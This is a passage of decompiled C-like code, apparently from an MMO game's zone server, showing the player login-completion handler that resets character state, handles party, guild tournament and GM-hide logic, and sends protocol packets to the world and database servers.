edx@97 signed int v109; // [sp+70h] [bp-44h]@17 int v110; // [sp+74h] [bp-40h]@17 signed int v111; // [sp+78h] [bp-3Ch]@1 ABSTATEINDEX v112; // [sp+7Ch] [bp-38h]@24 __int16 listhandle; // [sp+8Ch] [bp-28h]@83 char *ps; // [sp+90h] [bp-24h]@44 int (__stdcall **LimitTime)(int, int); // [sp+94h] [bp-20h]@31 int v116; // [sp+98h] [bp-1Ch]@39 FunctionEntarance _; // [sp+A4h] [bp-10h]@1 int v118; // [sp+B0h] [bp-4h]@1 v4 = sp; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)v4; v111 = 0; v118 = 0; *(_DWORD *)(v4 + 92716) = 0; (*(void (__thiscall **)(int, signed int))(v5 + 2660))(v4, v111); v74 = (_S41_2 & 1) == 0; *(_BYTE *)(v4 + 23281) &= 0xDFu; *(_BYTE *)(v4 + 7388) = 0; *(_DWORD *)(v4 + 23284) = 0; *(_DWORD *)(v4 + 23288) = 0; if ( v74 ) { _S41_2 |= 1u; cmc_10.cmc_AllowMode = 1; atexit(_E42_2); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & cmc_10.cmc_AllowMode) ) goto LABEL_100; *(_BYTE *)(*(_DWORD *)(v4 + 32010) + 146) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1220))(v4); **(_BYTE **)(v4 + 82) = 90; *(_WORD *)(v4 + 7384) = 2; NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear((NormalAttackDamageDelay::NormalAttackDamageTick *)(v4 + 66012)); ShineObjectClass::ShinePlayer::sp_RegistNumberVarification((void *)v4); if ( !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1220))(v4) || (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1220))(v4) > 0x96u ) { (*(void (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)v4 + 1464))(v4, 1677, 0, 0); LABEL_100: v118 = -1; v111 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"; goto LABEL_101; } ShineObjectClass::ShineObject::so_LostSP( (AbnormalStateContainer::AbnormalStateElement *)v4, (AbnormalStateDictionary::AbState::AbStateStr *)2); v6 = *(unsigned __int8 **)(v4 + 3716); v7 = *(_WORD *)(v4 + 4); *(_WORD *)(v4 + 102) = 0; v8 = *v6; if ( !v8 ) { if ( *(_DWORD *)(v4 + 98) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "sp_NC_MAP_LOGINCOMPLETE_CMD Field", v7); v118 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v9 = *(_BYTE *)(v4 + 88992) & 0xFB; v111 = 0; *(_DWORD *)(v4 + 92552) = 0; *(_BYTE *)(v4 + 92556) = 0; *(_DWORD *)(v4 + 92560) = 0; *(_BYTE *)(v4 + 88992) = v9; std::vector>::resize( (std::vector > *)(v4 + 92576), v111); *(_WORD *)(*(_DWORD *)(v4 + 32010) + 78) = -1; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2044))(v4) == 1 ) { *(_BYTE *)(*(_DWORD *)(v4 + 32010) + 144) = 1; if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v4 + 98) + 12) + 106) ) { BriefInformationCharacter::bic_HideMyIdentity((BriefInformationCharacter *)(v4 + 31844)); goto LABEL_18; } v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2048))(v4); } else { *(_BYTE *)(*(_DWORD *)(v4 + 32010) + 144) = 0; if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v4 + 98) + 12) + 106) ) { BriefInformationCharacter::bic_HideMyIdentity((BriefInformationCharacter *)(v4 + 31844)); goto LABEL_18; } v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1980))(v4); } v111 = v10; v11 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1036))(v4); v12 = *(_DWORD *)v4; v110 = *(_WORD *)(v11 + 562); v13 = (*(int (__thiscall **)(int))(v12 + 1036))(v4); v14 = *(_DWORD *)v4; v109 = *(_BYTE *)(v13 + 561); v15 = (*(int (__thiscall **)(int))(v14 + 1036))(v4); BriefInformationCharacter::bic_ShowMyIdentity( (BriefInformationCharacter *)(v4 + 31844), (ZoneCharData *)(v4 + 32017), *(_BYTE *)(v15 + 560), v109, v110, v111); LABEL_18: (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 2020))(v4, 65535); **(_BYTE **)(v4 + 3716) = 1; v16 = *(_DWORD *)(v4 + 98); *(_BYTE *)(v4 + 89071) = 0; *(_DWORD *)(v4 + 31836) = v4 + 23628; *(_DWORD *)(v4 + 31832) = v4 + 23628; v17 = *(_DWORD *)(v16 + 12); if ( AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet((void *)(v4 + 204), STA_GMHIDEMODE) ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1216))(v4) ) { **(_DWORD **)(v4 + 94) = 0; *(_BYTE *)(*(_DWORD *)(v4 + 94) + 4) = 3; } else { (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 1544))(v4, 288); v18 = (Name4 *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1352))(v4); NameString::operator__(&namestring, v18); } } else { **(_DWORD **)(v4 + 94) = 0; *(_BYTE *)(*(_DWORD *)(v4 + 94) + 4) = *(_BYTE *)(v17 + 171); } v19 = *(_DWORD *)(v4 + 98); if ( v19 ) { v112 = 289; if ( FieldMap::fm_IsGuildTournametnMap(v19) ) { if ( AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet((void *)(v4 + 204), v112) ) { **(_DWORD **)(v4 + 94) = 0; *(_BYTE *)(*(_DWORD *)(v4 + 94) + 4) = 2; if ( FieldMap::fm_GetGuildTournamentSystem(*(void **)(v4 + 98)) ) { v20 = FieldMap::fm_GetGuildTournamentSystem(*(void **)(v4 + 98)); GuildTournamentSystem::SendMapInPlayerInfoToObserber((GuildTournamentSystem *)v20, (#325 *)v4); } } } else { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1544))(v4); } } *(_BYTE *)(v4 + 23280) &= 0xF7u; v21 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1304))(v4); if ( v21 ) { v22 = (List *)(v21 + 3480); if ( v22 ) { ListTraveler::ListTraveler( (ListTraveler *)&LimitTime, v22, 0); if ( ListTraveler::lt_Next((ListTraveler *)&LimitTime) ) { while ( ListTraveler::operator_((ListTraveler *)&LimitTime) ) { v23 = **((_DWORD **)&unk_611F6C + 3 * ListTraveler::operator_((ListTraveler *)&LimitTime)->aeo_Index); if ( v23 && !*(_BYTE *)(v23 + 252) ) (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 1544))(v4, *(_DWORD *)(v23 + 34)); if ( !ListTraveler::lt_Next((ListTraveler *)&LimitTime) ) goto LABEL_39; } AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD Abstate List Null ListTraveler", 0); } } } LABEL_39: (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 1544))(v4, 290); (*(void (__thiscall **)(int, int, signed int, signed int, _DWORD, unsigned int, _DWORD, signed int, _DWORD, signed int))(*(_DWORD *)v4 + 1528))( v4, v4, 291, 1, unk_61570C, clockwatch.cw_CurrTick, 0, -1, *(_WORD *)(*(_DWORD *)(*(_DWORD *)(v4 + 98) + 12) + 63), 7); ShineObjectClass::ShineObject::so_AbnormalState_BitSet((void *)v4, 291); v111 = 0; v110 = 0; *(_WORD *)(v4 + 68212) = -1; std::vector>::resize( &mobinroam, v110, (#325 *)v111); briefchar.bixc_Pointer->charnum = 0; BriefInfoExchanger::BriefInfoExchangeMob::bixm_Init(&briefmob); briefdoor.bixd_Pointer->doornum = 0; briefeffect.bixe_Pointer->effectnum = 0; briefitem.bixi_Pointer->itemnum = 0; briefmagfld.bixmfm_Pointer->magicfields = 0; briefminihouse.bixmh_Pointer->minihouses = 0; BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(&briefabstate_char); BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(&briefabstate_mob); sightsquar = CalculateBroadcastDistance::cbd_DistanceSquar(&broadcastdistance, (#325 *)v4); ShineObjectClass::ShineObject::so_AllInMap( (void *)v4, (int)ShineObjectClass::ShineObject::so_ExchageBriefInfo, 0, 0, 0, 0); BriefInfoExchanger::BriefInfoExchangeCharacter::bixc_Send(&briefchar, (#325 *)v4); BriefInfoExchanger::BriefInfoExchangeMob::bixm_Send(&briefmob, (#325 *)v4); BriefInfoExchanger::BriefInfoExchangeDoor::bixd_Send(&briefdoor, (#325 *)v4); BriefInfoExchanger::BriefInfoExchangeEffect::bixe_Send(&briefeffect, (#325 *)v4); BriefInfoExchanger::BriefInfoExchangeItem::bixi_Send(&briefitem, (#325 *)v4); BriefInfoExchanger::BriefInfoExchangeMagicField::bixmfm_Send(&briefmagfld, (#325 *)v4); BriefInfoExchanger::BriefInfoExchangeMiniHouse::bixmh_Send(&briefminihouse, (#325 *)v4); BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Send(&briefabstate_char, (#325 *)v4); BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Send(&briefabstate_mob, (#325 *)v4); MobRoaming::MobsInRoaming::mir_MoveInfoSendTo((MobRoaming::MobsInRoaming *)&mobinroam, (#434 *)v4); AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin((void *)(v4 + 204), (#434 *)v4); *(_BYTE *)(v4 + 65776) = 0; LimitTime = &ListEraser::_vftable_; v116 = v4 + 57748; LOBYTE(v118) = 1; List::l_4AllInList((List *)(v4 + 57748), (ListIteratorDefault *)&LimitTime); LOBYTE(v118) = 0; *(_DWORD *)(v4 + 68312) = 0; ServerMenuActor::sma_Reset((ServerMenuActor *)(v4 + 68324)); v24 = *(_DWORD *)v4; *(_DWORD *)(v4 + 68308) = 0; *(_WORD *)(v4 + 69416) = 0; *(_WORD *)(v4 + 68304) = -1; *(_DWORD *)(v4 + 4000) = 0; (*(void (__thiscall **)(int))(v24 + 1512))(v4); *(_DWORD *)(16 * *(_DWORD *)(v4 + 3992) + v4 + 3736) = 0; v25 = *(_BYTE *)(v4 + 23280); v26 = -1; *(_DWORD *)(v4 + 65796) = -1; *(_DWORD *)(v4 + 65792) = -1; *(_DWORD *)(v4 + 65788) = -1; *(_DWORD *)(v4 + 65784) = -1; v27 = clockwatch.cw_CurrTick; *(_DWORD *)(v4 + 3720) = clockwatch.cw_CurrTick; v28 = *(_BYTE *)(v4 + 23281); *(_DWORD *)(v4 + 3724) = v27; *(_BYTE *)(v4 + 23280) = v25 & 0x4F; v29 = *(_DWORD *)v4; *(_BYTE *)(v4 + 23281) = v28 & 0xFC; *(_BYTE *)(v4 + 23614) = -1; *(_BYTE *)(v4 + 23613) = 99; (*(void (__thiscall **)(int))(v29 + 2256))(v4); v30 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 6156; *((_WORD *)v30 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 832))(v4); *((_WORD *)v30 + 2) = *(_WORD *)(v4 + 4); *(_DWORD *)(v30 + 6) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); v31 = *(_DWORD *)(v4 + 98); *(_DWORD *)(v30 + 10) = *(_DWORD *)v31; *(_DWORD *)(v30 + 14) = *(_DWORD *)(v31 + 4); *(_DWORD *)(v30 + 18) = *(_DWORD *)(v31 + 8); v30[22] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); v32 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v30 + 23) = *(_DWORD *)v32; *(_DWORD *)(v30 + 27) = *(_DWORD *)(v32 + 4); v30[31] = 99; *((_DWORD *)v30 + 8) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1060))(v4); *((_DWORD *)v30 + 9) = v33; *((_DWORD *)v30 + 10) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1056))(v4); *((_DWORD *)v30 + 11) = v34; v30[48] = 0; if ( ShineObjectClass::ShinePlayer::sp_IsGuildTournamentAccessTime(v4) == 1 ) v30[48] = 1; v111 = 49; v110 = (int)"ShineObjectClass::ShinePlayer::so_LinkTo : Packet Too Long"; v35 = ProtocolPacket::pp_SetPacketLen(&gpp, 49); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v35, (const char *)v110, v111) ) { v36 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v36); } v37 = -1; if ( (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1336))(v4) != -1 ) { v38 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1336))(v4); v39 = CParty::operator__(&partycontainer, v38); v40 = *(_DWORD *)v4; ps = (char *)v39; v41 = (*(int (__thiscall **)(int))(v40 + 1336))(v4); v109 = ps != 0; if ( !AssertClass::operator__( &shineassert, v109, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Party not found", v41) ) { v42 = ps + 4; LimitTime = (int (__stdcall **)(int, int))5; do { if ( *(_DWORD *)v42 == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4) ) { v43 = ps; *((_DWORD *)v42 + 7) = v4; v44 = *(_DWORD *)v4; v111 = (signed int)v43; (*(void (__thiscall **)(int, char *))(v44 + 1820))(v4, v43); v42[26] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_DWORD *)v42 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v42 + 2) = *(_WORD *)(v4 + 4); *((_WORD *)v42 + 3) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 832))(v4); Name4::operator_((int)(v42 + 8), v4 + 32025); v42[24] = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1220))(v4); v42[25] = 0; } v45 = *((_DWORD *)v42 + 7); if ( v45 ) { v46 = *(_DWORD *)v45; v47 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); v48 = *((_DWORD *)v42 + 7); v111 = v47; (*(void (__thiscall **)(int, int))(v46 + 1824))(v48, v47); v26 = -1; } v42 += 32; LimitTime = (int (__stdcall **)(int, int))((char *)LimitTime - 1); } while ( LimitTime ); v37 = -1; } } v49 = *(_DWORD *)(v4 + 32010); *(_BYTE *)(v4 + 7116) = 0; *(_DWORD *)(v4 + 7120) = 0; v49 += 80; *(_WORD *)v49 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v49 + 2) = byte_124D2542; (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1512))(v4); MoveManager::mm_Halt((MoveManager *)(v4 + 140)); v50 = *(_DWORD *)v4; *(_WORD *)(v4 + 102) = 0; *(_DWORD *)(v4 + 7124) = 0; *(_DWORD *)(v4 + 88968) = 7; *(_DWORD *)(v4 + 88964) = 0; *(_WORD *)(v4 + 130) = v37; *(_WORD *)(v4 + 132) = v37; (*(void (__thiscall **)(int))(v50 + 1840))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1844))(v4); v51 = *(_DWORD *)(v4 + 4004); *(_DWORD *)(v4 + 89136) = ShineObjectClass::ShinePlayer::sp_NoAdmin; *(_DWORD *)(v4 + 7372) = v26; *(_DWORD *)(v4 + 7104) = (*(int (__cdecl **)(ABSTATEINDEX))(*(_DWORD *)v51 + 44))(v112); *(_BYTE *)(v4 + 7109) = 0; *(_BYTE *)(v4 + 7108) = 0; *(_DWORD *)(v4 + 89164) = clockwatch.cw_CurrTick; *(_WORD *)(v4 + 91040) = v37; ShineObjectClass::ShinePlayer::sp_StatRemainSend((void *)v4); v52 = clockwatch.cw_CurrTick + 6000; *(_DWORD *)(v4 + 91048) = 6000; *(_DWORD *)(v4 + 91044) = v52; if ( *(_DWORD *)(*(_DWORD *)(v4 + 98) + 60) == v26 ) { if ( *(_BYTE *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1044))(v4) ) { v53 = (BattleStat *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1044))(v4); BattleStat::bs_Clear(v53); } *(_BYTE *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1044))(v4) = 1; } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1300))(v4); v111 = 9; *(_DWORD *)(v4 + 89172) = &ShineObjectClass::ShinePlayer::BoothSell::board; ShineObjectClass::ShinePlayer::sp_RemoveKQItem(v4, v111); ShineObjectClass::ShinePlayer::sp_RemoveKQItem(v4, 8); *(_DWORD *)(v4 + 32128) = ShineObjectClass::ShinePlayer::sp_NextSaveExperience((void *)v4); *(_BYTE *)(v4 + 23280) &= 0xFCu; *(_DWORD *)(v4 + 32132) = v54; v55 = clockwatch.cw_CurrTick; *(_DWORD *)(v4 + 66000) = clockwatch.cw_CurrTick; *(_DWORD *)(v4 + 66004) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *(_DWORD *)(v4 + 65996) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v56 = *(_DWORD *)v4; *(_DWORD *)(v4 + 65992) = v55; v57 = (*(int (__thiscall **)(int))(v56 + 1280))(v4); v58 = *(_DWORD *)v4; *(_WORD *)(v4 + 89906) = v57; *(_WORD *)(v4 + 89908) = (*(int (__thiscall **)(int))(v58 + 1284))(v4); v59 = gpp.pp_Buffer; *(_DWORD *)gpp.pp_Buffer = *(_DWORD *)(v4 + 89904); *((_WORD *)v59 + 2) = *(_WORD *)(v4 + 89908); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v60 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); v61 = *(_DWORD *)v60; v111 = (signed int)&gpp; v110 = v4; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v61 + 12))(v60, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long", 6); } *(_BYTE *)(v4 + 7368) &= 0xFDu; v111 = v4; v110 = v4 + 91072; *(_BYTE *)(v4 + 91732) = 0; *(_DWORD *)(v4 + 92124) = -1; ChargedItemEffectList::ChargedEffectListRouter::ChargedEffectListRouter( (ChargedItemEffectList::ChargedEffectListRouter *)&LimitTime, (ChargedItemEffectList::ChargedItem *)v110, (#434 *)v111); memcpy((void *)(v4 + 91696), &ShineObjectClass::ShineObject::so_ChargedEffectContainerClear, 0x24u); LOBYTE(v118) = 2; List::l_4AllInList((List *)(v4 + 91072), (ListIteratorDefault *)&LimitTime); v62 = *(_DWORD *)v4; *(_BYTE *)(v4 + 3708) = 1; (*(void (__thiscall **)(int))(v62 + 860))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 872))(v4); *(_BYTE *)(v4 + 89132) = 1; LOBYTE(v118) = 0; ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter((ChargedItemEffectList::ChargedEffectListRouter *)&LimitTime); *(_DWORD *)(v4 + 89072) = 0; ShineObjectClass::ShinePlayer::sp_MakeMiniHouse(v4); v63 = *(_DWORD *)(v4 + 52828); v111 = 0; v64 = (*(int (__thiscall **)(int, _DWORD))v63)(v4 + 52828, 0); if ( *(_WORD *)(v64 + 8) != -1 ) ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init( (ShineObjectClass::ShinePlayer::MiniHouseStr *)(v4 + 89024), (#434 *)v4, (ItemInventoryCell *)v64); ShineObjectClass::ShinePlayer::sp_LoginInit((void *)v4); v65 = *(_DWORD *)v4; *(_WORD *)(v4 + 32015) = 0; if ( !(*(int (__thiscall **)(int))(v65 + 1236))(v4) ) { v66 = *(_DWORD *)v4; v111 = 1; (*(void (__thiscall **)(int, signed int))(v66 + 1232))(v4, 1); } ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ((void *)v4); ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID((void *)v4); v67 = *(_DWORD *)(v4 + 98); if ( !v67 || !FieldMap::fm_IsGuildTournametnMap(v67) ) goto LABEL_72; v68 = AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet((void *)(v4 + 204), STA_OBSERVERHIDEMODE); v69 = *(void **)(v4 + 98); if ( v68 ) { v74 = FieldMap::fm_GetGuildTournamentSystem(v69) == 0; } else { if ( !FieldMap::fm_GetGuildTournamentSystem(v69) ) { LABEL_71: ShineObjectClass::ShinePlayer::sp_2Roumen((void *)v4); goto LABEL_72; } v70 = *(void **)(v4 + 98); v111 = v4; v71 = FieldMap::fm_GetGuildTournamentSystem(v70); if ( GuildTournamentSystem::PlayerRegister((GuildTournamentSystem *)v71, (#325 *)v111) ) { LABEL_72: v75 = *(_DWORD *)v4; v111 = 0; (*(void (__thiscall **)(int, _DWORD))(v75 + 2792))(v4, 0); *(_BYTE *)(v4 + 23280) &= 0xBFu; v76 = *(_DWORD *)(v4 + 98); *(_WORD *)(v4 + 102) = 0; if ( *(_BYTE *)(v76 + 84) ) { v77 = *(_DWORD *)v4; v111 = 18; v110 = 6; (*(void (__thiscall **)(int, signed int, signed int))(v77 + 772))(v4, 6, 18); } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v4 + 98) + 12) + 105) ) { v78 = *(_DWORD *)v4; v111 = 24; v110 = 6; (*(void (__thiscall **)(int, signed int, signed int))(v78 + 772))(v4, 6, 24); } v79 = *(_DWORD *)v4; *(_WORD *)(v4 + 92230) = -1; if ( (unsigned __int16)(*(int (__thiscall **)(int))(v79 + 1336))(v4) != -1 ) { v80 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 14414; v81 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1336))(v4); v111 = 4; v110 = (int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long"; v109 = 4; *((_WORD *)v80 + 1) = v81; v82 = ProtocolPacket::pp_SetPacketLen(&gpp, v109); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v82, (const char *)v110, v111) ) { v83 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v83); } } ShineObjectClass::ShinePlayer::sp_ConnectFromWhere((void *)v4); *(_DWORD *)(v4 + 92232) = 0; ItemBag::ib_clear((ItemBag *)(v4 + 86144)); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1016))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1028))(v4); PROTO_NC_CHAR_WEDDINGDATA_ACK::Reset((PROTO_NC_CHAR_WEDDINGDATA_ACK *)(v4 + 23292)); v84 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4224; *((_WORD *)v84 + 1) = *(_WORD *)(v4 + 4); v85 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); v111 = 8; *((_DWORD *)v84 + 1) = v85; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v111) ) { v86 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v86); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long", 8); } *(_DWORD *)(v4 + 92248) = 0; ShineObjectClass::ShinePlayer::sp_GhostBan((void *)v4); ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin((void *)v4); *(_BYTE *)(v4 + 92252) = 0; *(_DWORD *)(v4 + 23276) = 0; ItemLotInspector::ili_Clear((ItemLotInspector *)(v4 + 7392)); ItemLotInspector::ili_Reset((ItemLotInspector *)(v4 + 7392)); v87 = *(_DWORD *)(v4 + 98); *(_BYTE *)(v4 + 92278) = 0; *(_WORD *)(v4 + 92254) = -1; v88 = *(_DWORD *)(v87 + 60); if ( v88 != -1 ) { v89 = KingdomQuest::KingdomQuestContainer::kqc_SearchHandle( &kqcontainer, v88, (unsigned __int16 *)&listhandle); if ( v89 ) KQContribute::KQContributeList::kqcl_SendMobKill( (KQContribute::KQContributeList *)&g_KQContributeList, v88, (#325 *)v4, v89->kqe_kqinfo.DemandMobKill, 0); } *(_WORD *)(v4 + 92548) = 0; if ( ShineObjectClass::ShinePlayer::sp_IsAutoPickEnableState(v4) ) { LOBYTE(v90) = ShineObjectClass::ShinePlayer::sp_GetAutoPick(v4); ShineObjectClass::ShinePlayer::sp_SetAutoPick(v4, v90); } v91 = *(_DWORD *)(v4 + 98); if ( v91 ) { v111 = *(_DWORD *)(v91 + 12); v92 = NameString::operator__(&namestring, (Name3 *)v111); v93 = MapClusterManager::ClusterManager::cm_FindMapCluster(&mapclustermanager, v92); if ( v93 ) { v94 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1336))(v4); if ( MapClusterManager::MapCluster::mc_GetLimitTime(v93, (unsigned int *)&LimitTime, v94) ) { v95 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2064; v95[2] = 1; v111 = 5; v110 = (int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long"; *(_WORD *)(v95 + 3) = (unsigned __int16)LimitTime / 10; v96 = ProtocolPacket::pp_SetPacketLen(&gpp, 5); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v96, (const char *)v110, v111) ) { v97 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); v98 = *(_DWORD *)v97; v111 = (signed int)&gpp; v110 = v4; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v98 + 12))(v97, v4, &gpp); } } } } if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1216))(v4) ) { v99 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4294; v100 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1216))(v4); v111 = 3; v110 = (int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long"; v109 = 3; v99[2] = v100; v101 = ProtocolPacket::pp_SetPacketLen(&gpp, v109); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v101, (const char *)v110, v111) ) { v102 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); v103 = *(_DWORD *)v102; v111 = (signed int)&gpp; v110 = v4; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v103 + 12))(v102, v4, &gpp); } } ShineObjectClass::ShinePlayer::sp_ChargedEffectAfterLoginComplete(v4); ShineObjectClass::ShinePlayer::sp_RemoveField((void *)v4); v104 = *(_DWORD *)v4; v111 = 600; v110 = clockwatch.cw_CurrTick; (*(void (__thiscall **)(int, unsigned int, signed int))(v104 + 2624))(v4, clockwatch.cw_CurrTick, 600); v105 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4308; v106 = *(_BYTE *)(v4 + 92712); v111 = 3; v105[2] = v106; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v111) ) { v107 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); v108 = *(_DWORD *)v107; v111 = (signed int)&gpp; v110 = v4; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v108 + 12))(v107, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long", 3); } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2640))(v4); v118 = -1; v111 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"; goto LABEL_101; } v72 = *(void **)(v4 + 98); v111 = v4; v73 = FieldMap::fm_GetGuildTournamentSystem(v72); v74 = GuildTournamentSystem::IsPlayerRegister((GuildTournamentSystem *)v73, (#325 *)v111) == 0; } if ( v74 ) goto LABEL_71; goto LABEL_72; } AssertClass::ac_AssertFail(&shineassert, "sp_NC_MAP_LOGINCOMPLETE_CMD Link", v7, v8); v118 = -1; v111 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"; LABEL_101: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, (char *)v111); } // 40FA50: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_ChargedEffectAfterLoginComplete(_DWORD); // 42B880: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_MakeMiniHouse(_DWORD); // 4CE1A0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_RemoveKQItem(_DWORD, _DWORD); // 505900: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_SetAutoPick(_DWORD, _DWORD); // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); // 124D2540: using guessed type struct 